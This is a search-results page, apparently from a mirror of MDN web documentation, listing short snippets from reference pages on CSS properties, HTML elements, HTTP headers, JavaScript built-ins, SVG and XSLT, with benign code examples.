...And 4 more matches
float - CSS: Cascading Style Sheets
WebCSSfloat
inline-block block inline-table table table-row block table-row-group block table-column block table-column-group block table-cell block table-caption block table-header-group block table-footer-group block inline-flex flex inline-grid grid other unchanged note: if you're referring to this property from javascript as a member of the htmlelement.style object, modern browsers support float, but in older browsers you have to spell it as cssfloat, with internet explorer versions 8 and older using stylefloat.
... syntax /* keyword values */ float: left; float: right; float: none; float: inline-start; float: inline-end; /* global values */ float: inherit; float: initial; float: unset; the float property is specified as a single keyword, chosen from the list of values below.
...it is shifted to the left, or right, until it touches the edge of its containing box, or another floated element.
...And 4 more matches
font-variant-east-asian - CSS: Cascading Style Sheets
the font-variant-east-asian css property controls the use of alternate glyphs for east asian scripts, like japanese and chinese.
...ariant-east-asian: full-width; /* <east-asian-width-values> */ font-variant-east-asian: proportional-width; /* <east-asian-width-values> */ font-variant-east-asian: ruby full-width jis83; /* global values */ font-variant-east-asian: inherit; font-variant-east-asian: initial; font-variant-east-asian: unset; syntax values normal this keyword leads to the deactivation of the use of such alternate glyphs.
... ruby this keyword forces the use of special glyphs for ruby characters.
...And 4 more matches
font-variation-settings - CSS: Cascading Style Sheets
the font-variation-settings css property provides low-level control over variable font characteristics, by specifying the four letter axis names of the characteristics you want to vary, along with their values.
...each setting is always one or more pairs consisting of a <string> of 4 ascii characters followed by a <number> indicating the axis value to set.
... if the <string> has more or fewer characters or contains characters outside the u+20 - u+7e codepoint range, the whole property is invalid.
...And 4 more matches
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
syntax /* keyword values */ hyphens: none; hyphens: manual; hyphens: auto; /* global values */ hyphens: inherit; hyphens: initial; hyphens: unset; the hyphens property is specified as a single keyword value chosen from the list below.
... values none words are not broken at line breaks, even if characters inside the words suggest line break points.
... manual words are broken for line-wrapping only where characters inside the word suggest line break opportunities.
...And 4 more matches
image-rendering - CSS: Cascading Style Sheets
in particular, scaling algorithms that "smooth" colors are acceptable, such as bilinear interpolation.
... this is intended for images such as photos.
...if system resources are constrained, images with high-quality should be prioritized over those with any other value, when considering which images to degrade the quality of and to what degree.
...And 4 more matches
<integer> - CSS: Cascading Style Sheets
WebCSSinteger
integers can be used in numerous css properties, such as column-count, counter-increment, grid-column, grid-row, and z-index.
..._5 special characters are not allowed.
... \35 escaped unicode characters are not allowed, even if they are an integer (here: 5).
...And 4 more matches
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
each value can be a <length>, a <percentage>, or auto.
... <percentage> a <percentage> value scales the mask image in the corresponding dimension to the specified percentage of the mask positioning area, which is determined by the value of mask-origin.
... the mask positioning area is, by default, the area containing the content of the box and its padding; the area may also be changed to just the content or to the area containing borders, padding and content.
...And 4 more matches
min() - CSS: Cascading Style Sheets
WebCSSmin
in the first above example, the width will be at most 200px, but will be smaller if the viewport is less than 400px wide (in which case 1vw would be 4px, so 50vw would be 200px).
... the expressions can be math expressions (using arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>).
... you can use different units for each value in your expression, if you wish.
...And 4 more matches
object-position - CSS: Cascading Style Sheets
areas of the box which aren't covered by the replaced element's object will show the element's background.
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples positioning image content html here we see html that includes two <img> elements, each displaying the mdn logo.
... <img id="object-position-1" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> <img id="object-position-2" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> css the css includes default styling for the <img> element itself, as well as separate styles for each of the two images.
...And 4 more matches
opacity - CSS: Cascading Style Sheets
WebCSSopacity
opacity is the degree to which content behind an element is hidden, and is the opposite of transparency.
... syntax values <alpha-value> a <number> in the range 0.0 to 1.0, inclusive, or a <percentage> in the range 0% to 100%, inclusive, representing the opacity of the channel (that is, the value of its alpha channel).
... description opacity applies to the element as a whole, including its contents, even though the value is not inherited by child elements.
...And 4 more matches
outline-color - CSS: Cascading Style Sheets
in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valueinvert, for browsers supporting it, currentcolor for the otherapplies toall elementsinheritednocomputed valuefor the keyword invert, the computed value is invert.
... recommendation no change.
...And 4 more matches
repeating-linear-gradient() - CSS: Cascading Style Sheets
the function's result is an object of the <gradient> data type, which is a special kind of <image>.
...with each repetition, the positions of the color stops are shifted by a multiple of the length of the basic linear gradient.
... thus, the position of each ending color stop coincides with a starting color stop; if the color values are different, this will result in a sharp visual transition.
...And 4 more matches
resize - CSS: Cascading Style Sheets
WebCSSresize
the resize css property sets whether an element is resizable, and if so, in which directions.
... both the element displays a mechanism for allowing the user to resize it, which may be resized both horizontally and vertically.
... horizontal the element displays a mechanism for allowing the user to resize it in the horizontal direction.
...And 4 more matches
right - CSS: Cascading Style Sheets
WebCSSright
inherit specifies that the value is the same as the computed value from its parent element (which might not be its containing block).
... when both left and right are defined, if not prevented from doing so by other properties, the element will stretch to satisfy both.
... if the element cannot stretch to satisfy both -- for example, if a width is declared -- the position of the element is over-constrained.
...And 4 more matches
transform-style - CSS: Cascading Style Sheets
the transform-style css property sets whether children of an element are positioned in the 3d space or are flattened in the plane of the element.
... if flattened, the element's children will not exist on their own in the 3d-space.
... syntax /* keyword values */ transform-style: flat; transform-style: preserve-3d; /* global values */ transform-style: inherit; transform-style: initial; transform-style: unset; values flat indicates that the children of the element are lying in the plane of the element itself.
...And 4 more matches
Mobile-friendliness - Developer guides
needless to say, a fixed-width, three-column layout filled with complex javascript animations and mouse-over effects is not going to look or feel quite right on a phone with a 2-inch-wide screen and a diminutive processor.
... a slimmed-down, linearized page layout with elements sized for a touchscreen would be much more appropriate.
...mobile users, however, are probably more interested in checking-in for a flight or seeing if their flight is delayed.
...And 4 more matches
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
permitted parents any element that accepts flow content; don't use a heading element as a child of the <hgroup> element — it is now deprecated.
... <h1>heading elements</h1> <h2>summary</h2> <p>some text here...</p> <h2>examples</h2> <h3>example 1</h3> <p>some text here...</p> <h3>example 2</h3> <p>some text here...</p> <h2>see also</h2> <p>some text here...</p> here is the result of this code: accessibility concerns navigation a common navigation technique for users of screen reading software is jumping from heading to heading to quickly determine the content of the page.
...most screen readers can also generate an ordered list of all the headings on a page, which can help a person quickly determine the hierarchy of the content: h1 beetles h2 etymology h2 distribution and diversity h2 evolution h3 late paleozoic h3 jurassic h3 cretaceous h3 cenozoic h2 external morphology h3 head h4 mouthparts h3 thorax h4 prothorax h4 pterothorax ...
...And 4 more matches
<command>: The HTML Command element - HTML: Hypertext Markup Language
WebHTMLElementcommand
the html command element (<command>) represents a command which the user can invoke.
...the <colgroup> must not have a <span> as child.
... checked indicates whether the command is selected.
...And 4 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
WebHTMLElementdl
content categories flow content, and if the <dl> element's children include one name-value group, palpable content.
... permitted content either: zero or more groups each consisting of one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <script> and <template> elements.
... <dl> <dt>name</dt> <dd>godzilla</dd> <dt>born</dt> <dd>1952</dd> <dt>birthplace</dt> <dd>japan</dd> <dt>color</dt> <dd>green</dd> </dl> tip: it can be handy to define a key-value separator in the css, such as: dt::after { content: ": "; } wrapping name-value groups in <div> elements whatwg html allows wrapping each name-value group in a <dl> element in a <div> element.
...And 4 more matches
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
<input> elements of type button are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the click event).
... a simple button we'll begin by creating a simple button with a click event handler that starts our machine (well, it toggles the value of the button and the text content of the following paragraph): <form> <input type="button" value="start machine"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryselector('p'); button.addeventlistener('click', updatebutton); function updatebutton() { if (button.value === 'start machine')...
... { button.value = 'stop machine'; paragraph.textcontent = 'the machine has started!'; } else { button.value = 'start machine'; paragraph.textcontent = 'the machine is stopped.'; } } the script gets a reference to the htmlinputelement object representing the <input> in the dom, saving this refence in the variable button.
...And 4 more matches
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
WebHTMLElementrb
one <rb> element should wrap each separate atomic segment of the base text.
... permitted content as a child of a <ruby> element.
... usage notes ruby annotations are for showing pronunciation of east asian characters, like using japanese furigana or taiwanese bopomofo characters.
...And 4 more matches
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
WebHTMLElementu
the html unarticulated annotation element (<u>) represents a span of inline text which should be rendered in a way that indicates that it has a non-textual annotation.
... be careful to avoid using the <u> element with its default styling (of underlined text) in such a way as to be confused with a hyperlink, which is also underlined by default.
... use cases valid use cases for the <u> element include annotating spelling errors, applying a proper name mark to denote proper names in chinese text, and other forms of annotation.
...And 4 more matches
title - HTML: Hypertext Markup Language
some typical uses: labeling <iframe> elements for assistive technology providing a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements.
...each u+000a line feed (lf) character represents a line break.
... some caution must be taken, as this means the following renders across two lines: html <p>newlines in <code>title</code> should be taken into account, like <abbr title="this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on.
...And 4 more matches
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
how do browsers determine which mode to use?
...to ensure that your page uses full standards mode, make sure that your page has a doctype like in this example: <!doctype html> <html lang="en"> <head> <meta charset=utf-8> <title>hello world!</title> </head> <body> </body> </html> the doctype shown in the example, <!doctype html>, is the simplest possible, and the one recommended by html5.
...if you do use another doctype, you may risk choosing one which triggers almost standards mode or quirks mode.
...And 4 more matches
Configuring servers for Ogg media - HTTP
this guide covers a few server configuration changes that may be necessary for your web server to correctly serve ogg media files.
... for apache, you can add the following to your configuration: addtype audio/ogg .oga addtype video/ogg .ogv addtype application/ogg .ogg you can find specific information about possible media file types and the codecs used within them in our comprehensive guide to media types and formats on the web.
... by default, ffmpeg2theora uses one key frame every 64 frames (or about every 2 seconds at 30 frames per second), which works pretty well.
...And 4 more matches
Access-Control-Max-Age - HTTP
the access-control-max-age response header indicates how long the results of a preflight request (that is the information contained in the access-control-allow-methods and access-control-allow-headers headers) can be cached.
... header type response header forbidden header name no syntax access-control-max-age: <delta-seconds> directives <delta-seconds> maximum number of seconds the results can be cached.
... chromium (prior to v76) caps at 10 minutes (600 seconds).
...And 4 more matches
Alt-Svc - HTTP
WebHTTPHeadersAlt-Svc
the alt-svc http response header is used to advertise alternative services through which the same resource can be reached.
... <alt-authority> the quoted string specifying the alternative authority which consists of an optional host override, a colon, and a mandatory port number.
... ma=<max-age>optional the number of seconds for which the alternative service is considered fresh.
...And 4 more matches
Clear-Site-Data - HTTP
the clear-site-data header clears browsing data (cookies, storage, cache) associated with the requesting website.
... // single directive clear-site-data: "cache" // multiple directives (comma separated) clear-site-data: "cache", "cookies" // wild card clear-site-data: "*" directives all directives must comply with the quoted-string grammar.
... "cache" indicates that the server wishes to remove locally cached data (i.e.
...And 4 more matches
Numbers and dates - JavaScript
« previousnext » this chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in javascript.
... a more recent addition to javascript is bigint which lets you represent integers that may be very large.
... there are caveats to using bigint, however; for example, you can't mix and match bigint and number values in the same operation, and you can't use the math object with bigint values.
...And 4 more matches
Classes - JavaScript
this is where you define class members, such as methods or constructor.
...c distance(a, b) { const dx = a.x - b.x; const dy = a.y - b.y; return math.hypot(dx, dy); } } const p1 = new point(5, 5); const p2 = new point(10, 10); p1.distance; //undefined p2.distance; //undefined console.log(point.distance(p1, p2)); // 7.0710678118654755 binding this with prototype and static methods when a static or prototype method is called without a value for this, such as by assigning a variable to the method and then calling it, the this value will be undefined inside the method.
... return this; } static eat() { return this; } } let obj = new animal(); obj.speak(); // the animal object let speak = obj.speak; speak(); // undefined animal.eat() // class animal let eat = animal.eat; eat(); // undefined if we rewrite the above using traditional function-based syntax in non–strict mode, then this method calls is automatically bound to the initial this value, which by default is the global object.
...And 4 more matches
TypeError: X.prototype.y called on incompatible type - JavaScript
message typeerror: 'this' is not a set object (edge) typeerror: function.prototype.tostring called on incompatible object (firefox) typeerror: function.prototype.bind called on incompatible target (firefox) typeerror: method set.prototype.add called on incompatible receiver undefined (chrome) typeerror: bind must be called on a function (chrome) error type typeerror what went wrong?
... this issue can arise when using the function.prototype.call() or function.prototype.apply() methods, and providing a this argument which does not have the expected type.
...to work-around this issue, you will either need to provide a lambda which is making the call, or use the function.prototype.bind() function to force the this argument to the expected object.
...And 4 more matches
JavaScript error reference - JavaScript
below, you'll find a list of errors which are thrown by javascript.
...each error is an object based upon the error object, and has a name and a message.
... list of errors in this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message).
...And 4 more matches
Arrow function expressions - JavaScript
unction is `return`, we can remove `return` and remove // the surrounding curly brackets elements.map(element => element.length); // [8, 6, 7, 9] // in this case, because we only need the length property, we can use destructuring parameter: // notice that the `length` corresponds to the property we want to get whereas the // obviously non-special `lengthfoobarx` is just the name of a variable which can be changed // to any valid variable name you want elements.map(({ length: lengthfoobarx }) => lengthfoobarx); // [8, 6, 7, 9] // this destructuring parameter assignment can also be written as seen below.
... this.age = 0; setinterval(function growup() { // in non-strict mode, the growup() function defines `this` // as the global object (because it's where growup() is executed.), // which is different from the `this` // defined by the person() constructor.
... function person() { var that = this; that.age = 0; setinterval(function growup() { // the callback refers to the `that` variable of which // the value is the expected object.
...And 4 more matches
Array.prototype.concat() - JavaScript
this method does not change the existing arrays, but instead returns a new array.
...if all valuen parameters are omitted, concat returns a shallow copy of the existing array on which it is called.
... description the concat method creates a new array consisting of the elements in the object on which it is called, followed in order by, for each argument, the elements of that argument (if the argument is an array) or the argument itself (if the argument is not an array).
...And 4 more matches
Array.from() - JavaScript
description array.from() lets you create arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects such as map and set).
... array.from() has an optional parameter mapfn, which allows you to execute a map() function on each element of the array being created.
...as a result, static methods such as array.from() are "inherited" by subclasses of array, and create new instances of the subclass, not array.
...And 4 more matches
Function.prototype.bind() - JavaScript
description the bind() function creates a new bound function, which is an exotic function object (a term from ecmascript 2015) that wraps the original function object.
... thus, presented below are two options for function.prototype.bind() polyfills: the first one is much smaller and more performant, but does not work when using the new operator.
...le function throw new typeerror('function.prototype.bind - ' + 'what is trying to be bound is not callable'); } return function(){ var funcargs = args.concat(slice.call(arguments)) return thatfunc.apply(thatarg, funcargs); }; }; })(); you can partially work around this by inserting the following code at the beginning of your scripts, allowing use of much of the functionality of bind() in implementations that do not natively support it.
...And 4 more matches
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
it returns an array of objects containing the locale-specific tokens from which it possible to build custom strings while preserving the locale-specific parts.
...for example by using array.prototype.map(), arrow functions, a switch statement, template literals, and array.prototype.reduce().
... var datestring = formatter.formattoparts(date).map(({type, value}) => { switch (type) { case 'dayperiod': return `<b>${value}</b>`; default : return value; } }).reduce((string, part) => string + part); this will make the day period bold, when using the formattoparts() method.
...And 4 more matches
Intl.Locale.prototype.collation - JavaScript
the intl.locale.prototype.collation property is an accessor property that returns the collation type for the locale, which is used to order strings according to the locale's rules.
... description collation is the process of ordering strings of characters.
... it is used whenever strings must be sorted and placed into a certain order, from search query results to ordering records in a database.
...And 4 more matches
Intl.Locale.prototype.numberingSystem - JavaScript
as with most internationalization schemas, the numeral systems that can be represented in a locale object by numberingsystem are standardized by unicode.
...lam digits ahom ahom digits arab arabic-indic digits arabext extended arabic-indic digits armn armenian upper case numerals — algorithmic armnlow armenian lower case numerals — algorithmic bali balinese digits beng bengali digits bhks bhaiksuki digits brah brahmi digits cakm chakma digits cham cham digits cyrl cyrillic numerals — algorithmic deva devanagari digits ethi ethiopic numerals — algorithmic finance financial numerals — may be algorithmic fullwide full width digits geor georgian numerals — algorithmic gong gunjala gondi digits gonm masaram gondi d...
...igits grek greek upper case numerals — algorithmic greklow greek lower case numerals — algorithmic gujr gujarati digits guru gurmukhi digits hanidays han-character day-of-month numbering for lunar/other traditional calendars hanidec positional decimal system using chinese number ideographs as digits hans simplified chinese numerals — algorithmic hansfin simplified chinese financial numerals — algorithmic hant traditional chinese numerals — algorithmic hantfin traditional chinese financial numerals — algorithmic hebr hebrew numerals — algorithmic hmng pahawh hmong digits hmnp nyiakeng puachue hmong digits java jav...
...And 4 more matches
Object.prototype.isPrototypeOf() - JavaScript
the isprototypeof() method checks if an object exists in another object's prototype chain.
...in the expression "object instanceof afunction", the object prototype chain is checked against afunction.prototype, not against afunction itself.
... syntax prototypeobj.isprototypeof(object) parameters object the object whose prototype chain will be searched.
...And 4 more matches
Proxy - JavaScript
the proxy object enables you to create a proxy for another object, which can intercept and redefine fundamental operations for that object.
... description a proxy is created with two parameters: target: the original object which you want to proxy handler: an object that defines which operations will be intercepted and how to redefine intercepted operations.
...roxy1.message1); // hello console.log(proxy1.message2); // everyone to customise the proxy, we define functions on the handler object: const target = { message1: "hello", message2: "everyone" }; const handler2 = { get: function(target, prop, receiver) { return "world"; } }; const proxy2 = new proxy(target, handler2); here we've provided an implementation of the get() handler, which intercepts attempts to access properties in the target.
...And 4 more matches
RegExpInstance.lastIndex - JavaScript
the lastindex is a read/write integer property of regular expression instances that specifies the index at which to start the next match.
... property attributes of regexpinstance.lastindex writable yes enumerable no configurable no description this property is set only if the regular expression instance used the g flag to indicate a global search, or the y flag to indicate a sticky search.
... if lastindex is equal to or less than the length of the string and if the regular expression matches the empty string, then the regular expression matches input starting from lastindex.
...And 4 more matches
String.prototype.localeCompare() - JavaScript
in older implementations, which ignore the locales and options arguments, the locale and sort order used are entirely implementation-dependent.
... syntax referencestr.localecompare(comparestring[, locales[, options]]) parameters comparestring the string against which the referencestr is compared.
...in implementations which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation-dependent.
...And 4 more matches
String.prototype.substr() - JavaScript
the substr() method returns a portion of the string, starting at the specified index and extending for a given number of characters afterwards.
... syntax str.substr(start[, length]) parameters start the index of the first character to include in the returned substring.
...the number of characters to extract.
...And 4 more matches
TypedArray.prototype.filter() - JavaScript
syntax typedarray.filter(callback[, thisarg]) parameters callback function to test each element of the typed array.
... description the filter() method calls a provided callback function once for each element in a typed array, and constructs a new typed array of all the values for which callback returns a true value.
... callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values.
...And 4 more matches
WebAssembly.Instance - JavaScript
examples synchronously instantiating a webassembly module the webassembly.instance() constructor function can be called to synchronously instantiate a given webassembly.module object, for example: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassemb...
...ly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) the preferred way to get an instance is asynchronously, for example using the webassembly.instantiatestreaming() function like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); this also demonstrates how the exports property is used to access exported functions.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 4 more matches
WebAssembly.instantiateStreaming() - JavaScript
importobject optional an object containing the values to be imported into the newly-created instance, such as functions or webassembly.memory objects.
... there must be one matching property for each declared import of the compiled module or else a webassembly.linkerror is thrown.
... return value a promise that resolves to a resultobject which contains two fields: module: a webassembly.module object representing the compiled webassembly module.
...And 4 more matches
parseFloat() - JavaScript
or nan when the first non-whitespace character cannot be converted to a number.
... if parsefloat encounters a character other than a plus sign (+), minus sign (- u+002d hyphen-minus), numeral (0–9), decimal point (.), or exponent (e or e), it returns the value up to that character, ignoring the invalid character and characters following it.
... a second decimal point also stops parsing (characters up to that point will still be parsed).
...And 4 more matches
Standard built-in objects - JavaScript
this chapter documents all of javascript's standard, built-in objects, including their methods and properties.
... for more information about the distinction between the dom and core javascript, see javascript technologies overview.
... infinity nan undefined globalthis function properties these global functions—functions which are called globally, rather than on an object—directly return their results to the caller.
...And 4 more matches
instanceof - JavaScript
the instanceof operator tests to see if the prototype property of a constructor appears anywhere in the prototype chain of an object.
... constructor function to test against description the instanceof operator tests the presence of constructor.prototype in object's prototype chain.
... // defining constructors function c() {} function d() {} let o = new c() // true, because: object.getprototypeof(o) === c.prototype o instanceof c // false, because d.prototype is nowhere in o's prototype chain o instanceof d o instanceof object // true, because: c.prototype instanceof object // true c.prototype = {} let o2 = new c() o2 instanceof c // true // false, because c.prototype is nowhere in // o's prototype chain anymore o instanceof c d.prototype = new c() // add c to [[prototype]] linkage of d let o3 = new d() o3 instanceof d // true o3 instanceof c // true since c.prototype is now in o3's prototype chain note that the value of an instanceof test can change based on changes to the prototype property of constructors.
...And 4 more matches
continue - JavaScript
var i = 0; var n = 0; while (i < 5) { i++; if (i === 3) { continue; } n += i; } using continue with a label in the following example, a statement labeled checkiandj contains a statement labeled checkj.
... if continue is encountered, the program continues at the top of the checkj statement.
... each time continue is encountered, checkj reiterates until its condition returns false.
...And 4 more matches
function* - JavaScript
the function* declaration (function keyword followed by an asterisk) defines a generator function, which returns a generator object.
... generators in javascript -- especially when combined with promises -- are a very powerful tool for asynchronous programming as they mitigate -- if not entirely eliminate -- the problems with callbacks, such as callback hell and inversion of control.
... however, an even simpler solution to these problems can be achieved with async functions.
...And 4 more matches
Template literals (Template strings) - JavaScript
syntax `string text` `string text line 1 string text line 2` `string text ${expression} string text` tag`string text ${expression} string text` description template literals are enclosed by the backtick (` `) (grave accent) character instead of double or single quotes.
...in that case, the tag expression (usually a function) gets called with the template literal, which you can then manipulate before outputting.
... `\`` === '`' // --> true multi-line strings any newline characters inserted in the source are part of the template literal.
...And 4 more matches
<mstyle> - MathML
WebMathMLElementmstyle
the mathml <mstyle> element is used change the style of its children.
... decimalpoint this attribute is specifying the character for the alignment point within <mstack> and <mtable> columns, if the decimalpoint value is used to specify the alignment.
...this attribute accepts a non-negative integer, as well as a "+" or a "-" sign, which increments or decrements the current value.
...And 4 more matches
Lazy loading - Web Performance
it's a way to shorten the length of the critical rendering path, which translates into reduced page load times.
... lazy loading can occur on different moments in the application, but it typically happens on some user interactions such as scrolling and navigation.
... a practical example would be when, you land on the home page of an e-commerce site which has a link to a cart page/section and all its resources (js, css, images...) are downloaded only when the user navigates to that cart page.
...And 4 more matches
color-profile - SVG: Scalable Vector Graphics
the color-profile attribute is used to define which color profile a raster image included through the <image> element should use.
...the browser searches the color profile description database for a color profile description entry whose name descriptor matches <name> and uses the last matching entry that is found.
... if a match is found, the corresponding profile overrides an embedded profile inside an image.
...And 4 more matches
stroke-linecap - SVG: Scalable Vector Graphics
="1" x2="5" y2="1" stroke="black" stroke-linecap="butt" /> <!-- effect of the "round" value --> <line x1="1" y1="3" x2="5" y2="3" stroke="black" stroke-linecap="round" /> <!-- effect of the "square" value --> <line x1="1" y1="5" x2="5" y2="5" stroke="black" stroke-linecap="square" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4 m1,3 h4 m1,5 h4" stroke="pink" stroke-width="0.025" /> </svg> usage notes value butt | round | square default value butt animatable yes butt the butt value indicates that the stroke for each subpath does not extend beyond its two endpoints.
...y,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "butt" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="butt" /> <!-- effect of the "butt" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="butt" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> round the round value indicates that at the end of each subpath the stroke will be extended by a half circle with a diameter equal to the stroke width.
...g { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "round" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="round" /> <!-- effect of the "round" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="round" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> square the square value indicates that at the end of each subpath the stroke will be extended by a rectangle with a width equal to half the width of the stroke and a height...
...And 4 more matches
SVG Attribute reference - SVG: Scalable Vector Graphics
WebSVGAttribute
below is a list of all of the attributes available in svg along with links to reference documentation to help you learn which elements support them and how they work.
... contentscripttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baseline dur dx dy e edgemode elevation enable-background end exponent externalresourcesrequired f fill fill-opacity fill-rule filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight format from fr fx fy g g1 g2 glyph-name glyph-orientation-horizontal glyph-orientation-vertical glyphref gradienttransform gradientunits h hanging height href hreflang horiz-adv-x horiz-origin-x i id ideographic image-rendering in in2 intercept k k k1 k2 k3 k4 kernelmatrix kernelunitlength kerning keypoints ...
...intsatx pointsaty pointsatz preservealpha preserveaspectratio primitiveunits r r radius referrerpolicy refx refy rel rendering-intent repeatcount repeatdur requiredextensions requiredfeatures restart result rotate rx ry s scale seed shape-rendering slope spacing specularconstant specularexponent speed spreadmethod startoffset stddeviation stemh stemv stitchtiles stop-color stop-opacity strikethrough-position strikethrough-thickness string stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width style surfacescale systemlanguage t tabindex tablevalues target targetx targety text-anchor text-decoration text-rendering textlength to transform transform-origin ...
...And 4 more matches
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
</textpath> </text> </svg> attributes href the url to the path or basic shape on which to render the text.
... value type: spacing|spacingandglyphs; default value: spacing; animatable: yes method which method to render individual glyphs along the path.
... value type: align|stretch ; default value: align; animatable: yes path the path on which the text should be rendered.
...And 4 more matches
Clipping and masking - SVG: Scalable Vector Graphics
in this case, any half-transparent effects are not possible, it's an all-or-nothing approach.
...instead its pixel data will be used to determine, which pixels of the circle "make it" to the final rendering.
...color, opacity and such have no effect as long as they don't let parts vanish completely.
...And 4 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
most svg you'll find around the web use inline css, but there are advantages and disadvantages associated with each type.
...you can use the same css color naming schemes that you use in html, whether that's color names (that is red), rgb values (that is rgb(255,0,0)), hex values, rgba values, etc.
... square has essentially the same appearance, but stretches the stroke slightly beyond the actual path.
...And 4 more matches
Filter effects - SVG: Scalable Vector Graphics
« previousnext » there are situations, where basic shapes do not provide the flexibility you need to achieve a certain effect.
...filters are svg's mechanism to create sophisticated effects.
...while basic blurs can be achieved with the help of gradients, the blur filter is needed to do anything beyond.
...And 4 more matches
SVG In HTML Introduction - SVG: Scalable Vector Graphics
source here is the source to the example: <html> <head> <title>xtech svg demo</title> <style> stop.begin { stop-color:yellow; } stop.end { stop-color:green; } body.invalid stop.end { stop-color:red; } #err { display:none; } body.invalid #err { display:inline; } </style> <script> function signalerror() { document.getelementbyid('body').setattribute("class", "invalid"); } </script> </head> <body id="body" style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"> <form> <fieldset> ...
...this element and its children are declared to be in the svg namespace.
...when the user enters something incorrect into the form, the script sets the invalid attribute on the <body>, and a style rule changes the gradient end-stop color to red.
...And 4 more matches
Tools for SVG - SVG: Scalable Vector Graphics
browser support as of internet explorer 9, all major browsers support svg: ie 9, mozilla firefox, safari, google chrome and opera.
...on older or smaller devices, chances are that svg tiny is supported.
...to store inkscape specific data, it extends the svg file with elements and attributes in a custom namespace, but you can also choose to export as plain svg.
...And 4 more matches
<xsl:template> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementtemplate
this element must have either the match attribute or the name attribute set.
... syntax <xsl:template match=pattern name=name mode=name priority=number> <xsl:param> [optional] template </xsl:template> required attributes none.
... optional attributes match specifies a pattern that determines the elements for which this template should be used.
...And 4 more matches
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
this intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network.
... yet eventually much of the content stored in xml documents will need to be presented to human readers.
... because a browser provides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of xml content.
...And 4 more matches
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
it has a single parameter, which is the dom node of the xslt stylesheet to import.
...rather than modifying the dom it is recommended to use stylesheet parameters which are usually easier and can give better performance.
... var testtransform = document.implementation.createdocument("", "test", null); // just an example to get a transform into a script as a dom // xmldocument.load is asynchronous, so all processing happens in the // onload handler testtransform.addeventlistener("load", onload, false); testtransform.load("test-transform.xml"); function onload() { processor.importstylesheet(testtransform); } xsltprocessor.importstylesheet() requires one argument, a dom node.
...And 4 more matches
asm.js - Game development
this subset of javascript is already highly optimized in many javascript engines using fancy just-in-time (jit) compiling techniques.
... however, by defining an explicit standard we can work on optimizing this kind of code even more and getting as much performance as we can out of it.
... it makes it easier to collaborate across multiple js engines because it's easy to talk about and benchmark.
...And 3 more matches
Game over - Game development
